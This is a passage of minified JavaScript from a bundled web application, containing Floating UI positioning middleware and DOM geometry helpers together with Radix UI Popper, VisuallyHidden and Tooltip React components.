fn(t){const{x:n,y:r,placement:o,rects:i,platform:s,elements:a,middlewareData:l}=t,{element:u,padding:c=0}=Rr(e,t)||{};if(u==null)return{};const f=qw(c),d={x:n,y:r},m=Ip(o),w=jp(m),g=await s.getDimensions(u),x=m==="y",v=x?"top":"left",p=x?"bottom":"right",y=x?"clientHeight":"clientWidth",C=i.reference[w]+i.reference[m]-d[m]-i.floating[w],_=d[m]-i.reference[m],b=await(s.getOffsetParent==null?void 0:s.getOffsetParent(u));let P=b?b[y]:0;(!P||!await(s.isElement==null?void 0:s.isElement(b)))&&(P=a.floating[y]||i.floating[w]);const T=C/2-_/2,O=P/2-g[w]/2-1,M=Xn(f[v],O),$=Xn(f[p],O),B=M,ne=P-g[w]-$,re=P/2-g[w]/2+T,me=Vf(B,re,ne),le=!l.arrow&&Bs(o)!=null&&re!==me&&i.reference[w]/2-(re<B?M:$)-g[w]/2<0,Q=le?re<B?re-B:re-ne:0;return{[m]:d[m]+Q,data:{[m]:me,centerOffset:re-me-Q,...le&&{alignmentOffset:Q}},reset:le}}}),yk=function(e){return e===void 0&&(e={}),{name:"flip",options:e,async fn(t){var n,r;const{placement:o,middlewareData:i,rects:s,initialPlacement:a,platform:l,elements:u}=t,{mainAxis:c=!0,crossAxis:f=!0,fallbackPlacements:d,fallbackStrategy:m="bestFit",fallbackAxisSideDirection:w="none",flipAlignment:g=!0,...x}=Rr(e,t);if((n=i.arrow)!=null&&n.alignmentOffset)return{};const v=Pr(o),p=So(a),y=Pr(a)===a,C=await(l.isRTL==null?void 0:l.isRTL(u.floating)),_=d||(y||!g?[nc(a)]:fk(a)),b=w!=="none";!d&&b&&_.push(...pk(a,g,w,C));const P=[a,..._],T=await Qa(t,x),O=[];let M=((r=i.flip)==null?void 0:r.overflows)||[];if(c&&O.push(T[v]),f){const re=dk(o,s,C);O.push(T[re[0]],T[re[1]])}if(M=[...M,{placement:o,overflows:O}],!O.every(re=>re<=0)){var $,B;const re=((($=i.flip)==null?void 0:$.index)||0)+1,me=P[re];if(me)return{data:{index:re,overflows:M},reset:{placement:me}};let le=(B=M.filter(Q=>Q.overflows[0]<=0).sort((Q,L)=>Q.overflows[1]-L.overflows[1])[0])==null?void 0:B.placement;if(!le)switch(m){case"bestFit":{var ne;const Q=(ne=M.filter(L=>{if(b){const D=So(L.placement);return D===p||D==="y"}return!0}).map(L=>[L.placement,L.overflows.filter(D=>D>0).reduce((D,q)=>D+q,0)]).sort((L,D)=>L[1]-D[1])[0])==null?void 0:ne[0];Q&&(le=Q);break}case"initialPlacement":le=a;break}if(o!==le)return{reset:{placement:le}}}return{}}}};function qv(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function Xv(e){return lk.some(t=>e[t]>=0)}const wk=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:r="referenceHidden",...o}=Rr(e,t);switch(r){case"referenceHidden":{const i=await Qa(t,{...o,elementContext:"reference"}),s=qv(i,n.reference);return{data:{referenceHiddenOffsets:s,referenceHidden:Xv(s)}}}case"escaped":{const i=await Qa(t,{...o,altBoundary:!0}),s=qv(i,n.floating);return{data:{escapedOffsets:s,escaped:Xv(s)}}}default:return{}}}}};async function xk(e,t){const{placement:n,platform:r,elements:o}=e,i=await(r.isRTL==null?void 0:r.isRTL(o.floating)),s=Pr(n),a=Bs(n),l=So(n)==="y",u=["left","top"].includes(s)?-1:1,c=i&&l?-1:1,f=Rr(t,e);let{mainAxis:d,crossAxis:m,alignmentAxis:w}=typeof f=="number"?{mainAxis:f,crossAxis:0,alignmentAxis:null}:{mainAxis:0,crossAxis:0,alignmentAxis:null,...f};return a&&typeof w=="number"&&(m=a==="end"?w*-1:w),l?{x:m*c,y:d*u}:{x:d*u,y:m*c}}const bk=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:o,y:i,placement:s,middlewareData:a}=t,l=await xk(t,e);return s===((n=a.offset)==null?void 0:n.placement)&&(r=a.arrow)!=null&&r.alignmentOffset?{}:{x:o+l.x,y:i+l.y,data:{...l,placement:s}}}}},Ck=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:o}=t,{mainAxis:i=!0,crossAxis:s=!1,limiter:a={fn:x=>{let{x:v,y:p}=x;return{x:v,y:p}}},...l}=Rr(e,t),u={x:n,y:r},c=await Qa(t,l),f=So(Pr(o)),d=Dp(f);let m=u[d],w=u[f];if(i){const x=d==="y"?"top":"left",v=d==="y"?"bottom":"right",p=m+c[x],y=m-c[v];m=Vf(p,m,y)}if(s){const x=f==="y"?"top":"left",v=f==="y"?"bottom":"right",p=w+c[x],y=w-c[v];w=Vf(p,w,y)}const g=a.fn({...t,[d]:m,[f]:w});return{...g,data:{x:g.x-n,y:g.y-r}}}}},Sk=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:o,rects:i,middlewareData:s}=t,{offset:a=0,mainAxis:l=!0,crossAxis:u=!0}=Rr(e,t),c={x:n,y:r},f=So(o),d=Dp(f);let m=c[d],w=c[f];const g=Rr(a,t),x=typeof g=="number"?{mainAxis:g,crossAxis:0}:{mainAxis:0,crossAxis:0,...g};if(l){const y=d==="y"?"height":"width",C=i.reference[d]-i.floating[y]+x.mainAxis,_=i.reference[d]+i.reference[y]-x.mainAxis;m<C?m=C:m>_&&(m=_)}if(u){var v,p;const y=d==="y"?"width":"height",C=["top","left"].includes(Pr(o)),_=i.reference[f]-i.floating[y]+(C&&((v=s.offset)==null?void 0:v[f])||0)+(C?0:x.crossAxis),b=i.reference[f]+i.reference[y]+(C?0:((p=s.offset)==null?void 0:p[f])||0)-(C?x.crossAxis:0);w<_?w=_:w>b&&(w=b)}return{[d]:m,[f]:w}}}},Ek=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){const{placement:n,rects:r,platform:o,elements:i}=t,{apply:s=()=>{},...a}=Rr(e,t),l=await Qa(t,a),u=Pr(n),c=Bs(n),f=So(n)==="y",{width:d,height:m}=r.floating;let w,g;u==="top"||u==="bottom"?(w=u,g=c===(await(o.isRTL==null?void 0:o.isRTL(i.floating))?"start":"end")?"left":"right"):(g=u,w=c==="end"?"top":"bottom");const x=m-l.top-l.bottom,v=d-l.left-l.right,p=Xn(m-l[w],x),y=Xn(d-l[g],v),C=!t.middlewareData.shift;let _=p,b=y;if(f?b=c||C?Xn(y,v):v:_=c||C?Xn(p,x):x,C&&!c){const T=Xt(l.left,0),O=Xt(l.right,0),M=Xt(l.top,0),$=Xt(l.bottom,0);f?b=d-2*(T!==0||O!==0?T+O:Xt(l.left,l.right)):_=m-2*(M!==0||$!==0?M+$:Xt(l.top,l.bottom))}await s({...t,availableWidth:b,availableHeight:_});const P=await o.getDimensions(i.floating);return d!==P.width||m!==P.height?{reset:{rects:!0}}:{}}}};function Vs(e){return Xw(e)?(e.nodeName||"").toLowerCase():"#document"}function tn(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Mr(e){var t;return(t=(Xw(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function Xw(e){return e instanceof Node||e instanceof tn(e).Node}function nr(e){return e instanceof Element||e instanceof tn(e).Element}function rr(e){return e instanceof HTMLElement||e instanceof tn(e).HTMLElement}function Jv(e){return typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof tn(e).ShadowRoot}function El(e){const{overflow:t,overflowX:n,overflowY:r,display:o}=jn(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!["inline","contents"].includes(o)}function _k(e){return["table","td","th"].includes(Vs(e))}function $c(e){return[":popover-open",":modal"].some(t=>{try{return e.matches(t)}catch{return!1}})}function zp(e){const t=Fp(),n=jn(e);return n.transform!=="none"||n.perspective!=="none"||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||["transform","perspective","filter"].some(r=>(n.willChange||"").includes(r))||["paint","layout","strict","content"].some(r=>(n.contain||"").includes(r))}function kk(e){let t=Eo(e);for(;rr(t)&&!Ts(t);){if($c(t))return null;if(zp(t))return t;t=Eo(t)}return null}function Fp(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}function Ts(e){return["html","body","#document"].includes(Vs(e))}function jn(e){return tn(e).getComputedStyle(e)}function Uc(e){return nr(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function Eo(e){if(Vs(e)==="html")return e;const t=e.assignedSlot||e.parentNode||Jv(e)&&e.host||Mr(e);return Jv(t)?t.host:t}function Jw(e){const t=Eo(e);return Ts(t)?e.ownerDocument?e.ownerDocument.body:e.body:rr(t)&&El(t)?t:Jw(t)}function Ka(e,t,n){var r;t===void 0&&(t=[]),n===void 0&&(n=!0);const o=Jw(e),i=o===((r=e.ownerDocument)==null?void 0:r.body),s=tn(o);return i?t.concat(s,s.visualViewport||[],El(o)?o:[],s.frameElement&&n?Ka(s.frameElement):[]):t.concat(o,Ka(o,[],n))}function ex(e){const t=jn(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const o=rr(e),i=o?e.offsetWidth:n,s=o?e.offsetHeight:r,a=tc(n)!==i||tc(r)!==s;return a&&(n=i,r=s),{width:n,height:r,$:a}}function $p(e){return nr(e)?e:e.contextElement}function Gi(e){const t=$p(e);if(!rr(t))return Co(1);const n=t.getBoundingClientRect(),{width:r,height:o,$:i}=ex(t);let s=(i?tc(n.width):n.width)/r,a=(i?tc(n.height):n.height)/o;return(!s||!Number.isFinite(s))&&(s=1),(!a||!Number.isFinite(a))&&(a=1),{x:s,y:a}}const Rk=Co(0);function tx(e){const t=tn(e);return!Fp()||!t.visualViewport?Rk:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function Pk(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==tn(e)?!1:t}function ai(e,t,n,r){t===void 0&&(t=!1),n===void 0&&(n=!1);const o=e.getBoundingClientRect(),i=$p(e);let s=Co(1);t&&(r?nr(r)&&(s=Gi(r)):s=Gi(e));const a=Pk(i,n,r)?tx(i):Co(0);let l=(o.left+a.x)/s.x,u=(o.top+a.y)/s.y,c=o.width/s.x,f=o.height/s.y;if(i){const d=tn(i),m=r&&nr(r)?tn(r):r;let w=d,g=w.frameElement;for(;g&&r&&m!==w;){const x=Gi(g),v=g.getBoundingClientRect(),p=jn(g),y=v.left+(g.clientLeft+parseFloat(p.paddingLeft))*x.x,C=v.top+(g.clientTop+parseFloat(p.paddingTop))*x.y;l*=x.x,u*=x.y,c*=x.x,f*=x.y,l+=y,u+=C,w=tn(g),g=w.frameElement}}return rc({width:c,height:f,x:l,y:u})}function Tk(e){let{elements:t,rect:n,offsetParent:r,strategy:o}=e;const i=o==="fixed",s=Mr(r),a=t?$c(t.floating):!1;if(r===s||a&&i)return n;let l={scrollLeft:0,scrollTop:0},u=Co(1);const c=Co(0),f=rr(r);if((f||!f&&!i)&&((Vs(r)!=="body"||El(s))&&(l=Uc(r)),rr(r))){const d=ai(r);u=Gi(r),c.x=d.x+r.clientLeft,c.y=d.y+r.clientTop}return{width:n.width*u.x,height:n.height*u.y,x:n.x*u.x-l.scrollLeft*u.x+c.x,y:n.y*u.y-l.scrollTop*u.y+c.y}}function Nk(e){return Array.from(e.getClientRects())}function nx(e){return ai(Mr(e)).left+Uc(e).scrollLeft}function Ok(e){const t=Mr(e),n=Uc(e),r=e.ownerDocument.body,o=Xt(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),i=Xt(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let s=-n.scrollLeft+nx(e);const a=-n.scrollTop;return jn(r).direction==="rtl"&&(s+=Xt(t.clientWidth,r.clientWidth)-o),{width:o,height:i,x:s,y:a}}function Lk(e,t){const n=tn(e),r=Mr(e),o=n.visualViewport;let i=r.clientWidth,s=r.clientHeight,a=0,l=0;if(o){i=o.width,s=o.height;const u=Fp();(!u||u&&t==="fixed")&&(a=o.offsetLeft,l=o.offsetTop)}return{width:i,height:s,x:a,y:l}}function Ak(e,t){const n=ai(e,!0,t==="fixed"),r=n.top+e.clientTop,o=n.left+e.clientLeft,i=rr(e)?Gi(e):Co(1),s=e.clientWidth*i.x,a=e.clientHeight*i.y,l=o*i.x,u=r*i.y;return{width:s,height:a,x:l,y:u}}function eg(e,t,n){let r;if(t==="viewport")r=Lk(e,n);else if(t==="document")r=Ok(Mr(e));else if(nr(t))r=Ak(t,n);else{const o=tx(e);r={...t,x:t.x-o.x,y:t.y-o.y}}return rc(r)}function rx(e,t){const n=Eo(e);return n===t||!nr(n)||Ts(n)?!1:jn(n).position==="fixed"||rx(n,t)}function Mk(e,t){const n=t.get(e);if(n)return n;let r=Ka(e,[],!1).filter(a=>nr(a)&&Vs(a)!=="body"),o=null;const i=jn(e).position==="fixed";let s=i?Eo(e):e;for(;nr(s)&&!Ts(s);){const a=jn(s),l=zp(s);!l&&a.position==="fixed"&&(o=null),(i?!l&&!o:!l&&a.position==="static"&&!!o&&["absolute","fixed"].includes(o.position)||El(s)&&!l&&rx(e,s))?r=r.filter(c=>c!==s):o=a,s=Eo(s)}return t.set(e,r),r}function Dk(e){let{element:t,boundary:n,rootBoundary:r,strategy:o}=e;const s=[...n==="clippingAncestors"?$c(t)?[]:Mk(t,this._c):[].concat(n),r],a=s[0],l=s.reduce((u,c)=>{const f=eg(t,c,o);return u.top=Xt(f.top,u.top),u.right=Xn(f.right,u.right),u.bottom=Xn(f.bottom,u.bottom),u.left=Xt(f.left,u.left),u},eg(t,a,o));return{width:l.right-l.left,height:l.bottom-l.top,x:l.left,y:l.top}}function jk(e){const{width:t,height:n}=ex(e);return{width:t,height:n}}function Ik(e,t,n){const r=rr(t),o=Mr(t),i=n==="fixed",s=ai(e,!0,i,t);let a={scrollLeft:0,scrollTop:0};const l=Co(0);if(r||!r&&!i)if((Vs(t)!=="body"||El(o))&&(a=Uc(t)),r){const f=ai(t,!0,i,t);l.x=f.x+t.clientLeft,l.y=f.y+t.clientTop}else o&&(l.x=nx(o));const u=s.left+a.scrollLeft-l.x,c=s.top+a.scrollTop-l.y;return{x:u,y:c,width:s.width,height:s.height}}function Dd(e){return jn(e).position==="static"}function tg(e,t){return!rr(e)||jn(e).position==="fixed"?null:t?t(e):e.offsetParent}function ox(e,t){const n=tn(e);if($c(e))return n;if(!rr(e)){let o=Eo(e);for(;o&&!Ts(o);){if(nr(o)&&!Dd(o))return o;o=Eo(o)}return n}let r=tg(e,t);for(;r&&_k(r)&&Dd(r);)r=tg(r,t);return r&&Ts(r)&&Dd(r)&&!zp(r)?n:r||kk(e)||n}const zk=async function(e){const t=this.getOffsetParent||ox,n=this.getDimensions,r=await n(e.floating);return{reference:Ik(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function Fk(e){return jn(e).direction==="rtl"}const $k={convertOffsetParentRelativeRectToViewportRelativeRect:Tk,getDocumentElement:Mr,getClippingRect:Dk,getOffsetParent:ox,getElementRects:zk,getClientRects:Nk,getDimensions:jk,getScale:Gi,isElement:nr,isRTL:Fk};function Uk(e,t){let n=null,r;const o=Mr(e);function i(){var a;clearTimeout(r),(a=n)==null||a.disconnect(),n=null}function s(a,l){a===void 0&&(a=!1),l===void 0&&(l=1),i();const{left:u,top:c,width:f,height:d}=e.getBoundingClientRect();if(a||t(),!f||!d)return;const m=tu(c),w=tu(o.clientWidth-(u+f)),g=tu(o.clientHeight-(c+d)),x=tu(u),p={rootMargin:-m+"px "+-w+"px "+-g+"px "+-x+"px",threshold:Xt(0,Xn(1,l))||1};let y=!0;function C(_){const b=_[0].intersectionRatio;if(b!==l){if(!y)return s();b?s(!1,b):r=setTimeout(()=>{s(!1,1e-7)},1e3)}y=!1}try{n=new IntersectionObserver(C,{...p,root:o.ownerDocument})}catch{n=new IntersectionObserver(C,p)}n.observe(e)}return s(!0),i}function Bk(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:o=!0,ancestorResize:i=!0,elementResize:s=typeof ResizeObserver=="function",layoutShift:a=typeof IntersectionObserver=="function",animationFrame:l=!1}=r,u=$p(e),c=o||i?[...u?Ka(u):[],...Ka(t)]:[];c.forEach(v=>{o&&v.addEventListener("scroll",n,{passive:!0}),i&&v.addEventListener("resize",n)});const f=u&&a?Uk(u,n):null;let d=-1,m=null;s&&(m=new ResizeObserver(v=>{let[p]=v;p&&p.target===u&&m&&(m.unobserve(t),cancelAnimationFrame(d),d=requestAnimationFrame(()=>{var y;(y=m)==null||y.observe(t)})),n()}),u&&!l&&m.observe(u),m.observe(t));let w,g=l?ai(e):null;l&&x();function x(){const v=ai(e);g&&(v.x!==g.x||v.y!==g.y||v.width!==g.width||v.height!==g.height)&&n(),g=v,w=requestAnimationFrame(x)}return n(),()=>{var v;c.forEach(p=>{o&&p.removeEventListener("scroll",n),i&&p.removeEventListener("resize",n)}),f==null||f(),(v=m)==null||v.disconnect(),m=null,l&&cancelAnimationFrame(w)}}const Vk=bk,Hk=Ck,Wk=yk,Zk=Ek,Qk=wk,ng=gk,Kk=Sk,Yk=(e,t,n)=>{const r=new Map,o={platform:$k,...n},i={...o.platform,_c:r};return vk(e,t,{...o,platform:i})};var xu=typeof document<"u"?h.useLayoutEffect:h.useEffect;function oc(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,r,o;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;r--!==0;)if(!oc(e[r],t[r]))return!1;return!0}if(o=Object.keys(e),n=o.length,n!==Object.keys(t).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(t,o[r]))return!1;for(r=n;r--!==0;){const i=o[r];if(!(i==="_owner"&&e.$$typeof)&&!oc(e[i],t[i]))return!1}return!0}return e!==e&&t!==t}function ix(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function rg(e,t){const n=ix(e);return Math.round(t*n)/n}function og(e){const t=h.useRef(e);return xu(()=>{t.current=e}),t}function Gk(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:o,elements:{reference:i,floating:s}={},transform:a=!0,whileElementsMounted:l,open:u}=e,[c,f]=h.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[d,m]=h.useState(r);oc(d,r)||m(r);const[w,g]=h.useState(null),[x,v]=h.useState(null),p=h.useCallback(Q=>{Q!==b.current&&(b.current=Q,g(Q))},[]),y=h.useCallback(Q=>{Q!==P.current&&(P.current=Q,v(Q))},[]),C=i||w,_=s||x,b=h.useRef(null),P=h.useRef(null),T=h.useRef(c),O=l!=null,M=og(l),$=og(o),B=h.useCallback(()=>{if(!b.current||!P.current)return;const Q={placement:t,strategy:n,middleware:d};$.current&&(Q.platform=$.current),Yk(b.current,P.current,Q).then(L=>{const D={...L,isPositioned:!0};ne.current&&!oc(T.current,D)&&(T.current=D,zs.flushSync(()=>{f(D)}))})},[d,t,n,$]);xu(()=>{u===!1&&T.current.isPositioned&&(T.current.isPositioned=!1,f(Q=>({...Q,isPositioned:!1})))},[u]);const ne=h.useRef(!1);xu(()=>(ne.current=!0,()=>{ne.current=!1}),[]),xu(()=>{if(C&&(b.current=C),_&&(P.current=_),C&&_){if(M.current)return M.current(C,_,B);B()}},[C,_,B,M,O]);const re=h.useMemo(()=>({reference:b,floating:P,setReference:p,setFloating:y}),[p,y]),me=h.useMemo(()=>({reference:C,floating:_}),[C,_]),le=h.useMemo(()=>{const Q={position:n,left:0,top:0};if(!me.floating)return Q;const L=rg(me.floating,c.x),D=rg(me.floating,c.y);return a?{...Q,transform:"translate("+L+"px, "+D+"px)",...ix(me.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:L,top:D}},[n,a,me.floating,c.x,c.y]);return h.useMemo(()=>({...c,update:B,refs:re,elements:me,floatingStyles:le}),[c,B,re,me,le])}const qk=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:r,padding:o}=typeof e=="function"?e(n):e;return r&&t(r)?r.current!=null?ng({element:r.current,padding:o}).fn(n):{}:r?ng({element:r,padding:o}).fn(n):{}}}},Xk=(e,t)=>({...Vk(e),options:[e,t]}),Jk=(e,t)=>({...Hk(e),options:[e,t]}),e3=(e,t)=>({...Kk(e),options:[e,t]}),t3=(e,t)=>({...Wk(e),options:[e,t]}),n3=(e,t)=>({...Zk(e),options:[e,t]}),r3=(e,t)=>({...Qk(e),options:[e,t]}),o3=(e,t)=>({...qk(e),options:[e,t]});var i3="Arrow",sx=h.forwardRef((e,t)=>{const{children:n,width:r=10,height:o=5,...i}=e;return E.jsx($e.svg,{...i,ref:t,width:r,height:o,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:E.jsx("polygon",{points:"0,0 30,0 15,10"})})});sx.displayName=i3;var s3=sx;function a3(e){const[t,n]=h.useState(void 0);return kr(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const r=new ResizeObserver(o=>{if(!Array.isArray(o)||!o.length)return;const i=o[0];let s,a;if("borderBoxSize"in i){const l=i.borderBoxSize,u=Array.isArray(l)?l[0]:l;s=u.inlineSize,a=u.blockSize}else s=e.offsetWidth,a=e.offsetHeight;n({width:s,height:a})});return r.observe(e,{box:"border-box"}),()=>r.unobserve(e)}else n(void 0)},[e]),t}var Up="Popper",[ax,lx]=hi(Up),[l3,ux]=ax(Up),cx=e=>{const{__scopePopper:t,children:n}=e,[r,o]=h.useState(null);return E.jsx(l3,{scope:t,anchor:r,onAnchorChange:o,children:n})};cx.displayName=Up;var dx="PopperAnchor",fx=h.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:r,...o}=e,i=ux(dx,n),s=h.useRef(null),a=tt(t,s);return h.useEffect(()=>{i.onAnchorChange((r==null?void 0:r.current)||s.current)}),r?null:E.jsx($e.div,{...o,ref:a})});fx.displayName=dx;var Bp="PopperContent",[u3,c3]=ax(Bp),hx=h.forwardRef((e,t)=>{var Zt,ln,Fn,$n,pi,Je;const{__scopePopper:n,side:r="bottom",sideOffset:o=0,align:i="center",alignOffset:s=0,arrowPadding:a=0,avoidCollisions:l=!0,collisionBoundary:u=[],collisionPadding:c=0,sticky:f="partial",hideWhenDetached:d=!1,updatePositionStrategy:m="optimized",onPlaced:w,...g}=e,x=ux(Bp,n),[v,p]=h.useState(null),y=tt(t,jt=>p(jt)),[C,_]=h.useState(null),b=a3(C),P=(b==null?void 0:b.width)??0,T=(b==null?void 0:b.height)??0,O=r+(i!=="center"?"-"+i:""),M=typeof c=="number"?c:{top:0,right:0,bottom:0,left:0,...c},$=Array.isArray(u)?u:[u],B=$.length>0,ne={padding:M,boundary:$.filter(f3),altBoundary:B},{refs:re,floatingStyles:me,placement:le,isPositioned:Q,middlewareData:L}=Gk({strategy:"fixed",placement:O,whileElementsMounted:(...jt)=>Bk(...jt,{animationFrame:m==="always"}),elements:{reference:x.anchor},middleware:[Xk({mainAxis:o+T,alignmentAxis:s}),l&&Jk({mainAxis:!0,crossAxis:!1,limiter:f==="partial"?e3():void 0,...ne}),l&&t3({...ne}),n3({...ne,apply:({elements:jt,rects:Dr,availableWidth:mi,availableHeight:gt})=>{const{width:Ws,height:Zs}=Dr.reference,nt=jt.floating.style;nt.setProperty("--radix-popper-available-width",`${mi}px`),nt.setProperty("--radix-popper-available-height",`${gt}px`),nt.setProperty("--radix-popper-anchor-width",`${Ws}px`),nt.setProperty("--radix-popper-anchor-height",`${Zs}px`)}}),C&&o3({element:C,padding:a}),h3({arrowWidth:P,arrowHeight:T}),d&&r3({strategy:"referenceHidden",...ne})]}),[D,q]=vx(le),W=Ot(w);kr(()=>{Q&&(W==null||W())},[Q,W]);const X=(Zt=L.arrow)==null?void 0:Zt.x,we=(ln=L.arrow)==null?void 0:ln.y,ke=((Fn=L.arrow)==null?void 0:Fn.centerOffset)!==0,[Xe,ge]=h.useState();return kr(()=>{v&&ge(window.getComputedStyle(v).zIndex)},[v]),E.jsx("div",{ref:re.setFloating,"data-radix-popper-content-wrapper":"",style:{...me,transform:Q?me.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:Xe,"--radix-popper-transform-origin":[($n=L.transformOrigin)==null?void 0:$n.x,(pi=L.transformOrigin)==null?void 0:pi.y].join(" "),...((Je=L.hide)==null?void 0:Je.referenceHidden)&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:E.jsx(u3,{scope:n,placedSide:D,onArrowChange:_,arrowX:X,arrowY:we,shouldHideArrow:ke,children:E.jsx($e.div,{"data-side":D,"data-align":q,...g,ref:y,style:{...g.style,animation:Q?void 0:"none"}})})})});hx.displayName=Bp;var px="PopperArrow",d3={top:"bottom",right:"left",bottom:"top",left:"right"},mx=h.forwardRef(function(t,n){const{__scopePopper:r,...o}=t,i=c3(px,r),s=d3[i.placedSide];return E.jsx("span",{ref:i.onArrowChange,style:{position:"absolute",left:i.arrowX,top:i.arrowY,[s]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[i.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[i.placedSide],visibility:i.shouldHideArrow?"hidden":void 0},children:E.jsx(s3,{...o,ref:n,style:{...o.style,display:"block"}})})});mx.displayName=px;function f3(e){return e!==null}var h3=e=>({name:"transformOrigin",options:e,fn(t){var x,v,p;const{placement:n,rects:r,middlewareData:o}=t,s=((x=o.arrow)==null?void 0:x.centerOffset)!==0,a=s?0:e.arrowWidth,l=s?0:e.arrowHeight,[u,c]=vx(n),f={start:"0%",center:"50%",end:"100%"}[c],d=(((v=o.arrow)==null?void 0:v.x)??0)+a/2,m=(((p=o.arrow)==null?void 0:p.y)??0)+l/2;let w="",g="";return u==="bottom"?(w=s?f:`${d}px`,g=`${-l}px`):u==="top"?(w=s?f:`${d}px`,g=`${r.floating.height+l}px`):u==="right"?(w=`${-l}px`,g=s?f:`${m}px`):u==="left"&&(w=`${r.floating.width+l}px`,g=s?f:`${m}px`),{data:{x:w,y:g}}}});function vx(e){const[t,n="center"]=e.split("-");return[t,n]}var p3=cx,m3=fx,v3=hx,g3=mx,y3="VisuallyHidden",gx=h.forwardRef((e,t)=>E.jsx($e.span,{...e,ref:t,style:{position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal",...e.style}}));gx.displayName=y3;var w3=gx,[Bc,xT]=hi("Tooltip",[lx]),Vc=lx(),yx="TooltipProvider",x3=700,Wf="tooltip.open",[b3,Vp]=Bc(yx),wx=e=>{const{__scopeTooltip:t,delayDuration:n=x3,skipDelayDuration:r=300,disableHoverableContent:o=!1,children:i}=e,[s,a]=h.useState(!0),l=h.useRef(!1),u=h.useRef(0);return h.useEffect(()=>{const c=u.current;return()=>window.clearTimeout(c)},[]),E.jsx(b3,{scope:t,isOpenDelayed:s,delayDuration:n,onOpen:h.useCallback(()=>{window.clearTimeout(u.current),a(!1)},[]),onClose:h.useCallback(()=>{window.clearTimeout(u.current),u.current=window.setTimeout(()=>a(!0),r)},[r]),isPointerInTransitRef:l,onPointerInTransitChange:h.useCallback(c=>{l.current=c},[]),disableHoverableContent:o,children:i})};wx.displayName=yx;var Hc="Tooltip",[C3,Wc]=Bc(Hc),xx=e=>{const{__scopeTooltip:t,children:n,open:r,defaultOpen:o=!1,onOpenChange:i,disableHoverableContent:s,delayDuration:a}=e,l=Vp(Hc,e.__scopeTooltip),u=Vc(t),[c,f]=h.useState(null),d=Ki(),m=h.useRef(0),w=s??l.disableHoverableContent,g=a??l.delayDuration,x=h.useRef(!1),[v=!1,p]=Sl({prop:r,defaultProp:o,onChange:P=>{P?(l.onOpen(),document.dispatchEvent(new CustomEvent(Wf))):l.onClose(),i==null||i(P)}}),y=h.useMemo(()=>v?x.current?"delayed-open":"instant-open":"closed",[v]),C=h.useCallback(()=>{window.clearTimeout(m.current),x.current=!1,p(!0)},[p]),_=h.useCallback(()=>{window.clearTimeout(m.current),p(!1)},[p]),b=h.useCallback(()=>{window.clearTimeout(m.current),m.current=window.setTimeout(()=>{x.current=!0,p(!0)},g)},[g,p]);return h.useEffect(()=>()=>window.clearTimeout(m.current),[]),E.jsx(p3,{...u,children:E.jsx(C3,{scope:t,contentId:d,open:v,stateAttribute:y,trigger:c,onTriggerChange:f,onTriggerEnter:h.useCallback(()=>{l.isOpenDelayed?b():C()},[l.isOpenDelayed,b,C]),onTriggerLeave:h.useCallback(()=>{w?_():window.clearTimeout(m.current)},[_,w]),onOpen:C,onClose:_,disableHoverableContent:w,children:n})})};xx.displayName=Hc;var Zf="TooltipTrigger",bx=h.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,o=Wc(Zf,n),i=Vp(Zf,n),s=Vc(n),a=h.useRef(null),l=tt(t,a,o.onTriggerChange),u=h.useRef(!1),c=h.useRef(!1),f=h.useCallback(()=>u.current=!1,[]);return h.useEffect(()=>()=>document.removeEventListener("pointerup",f),[f]),E.jsx(m3,{asChild:!0,...s,children:E.jsx($e.button,{"aria-describedby":o.open?o.contentId:void 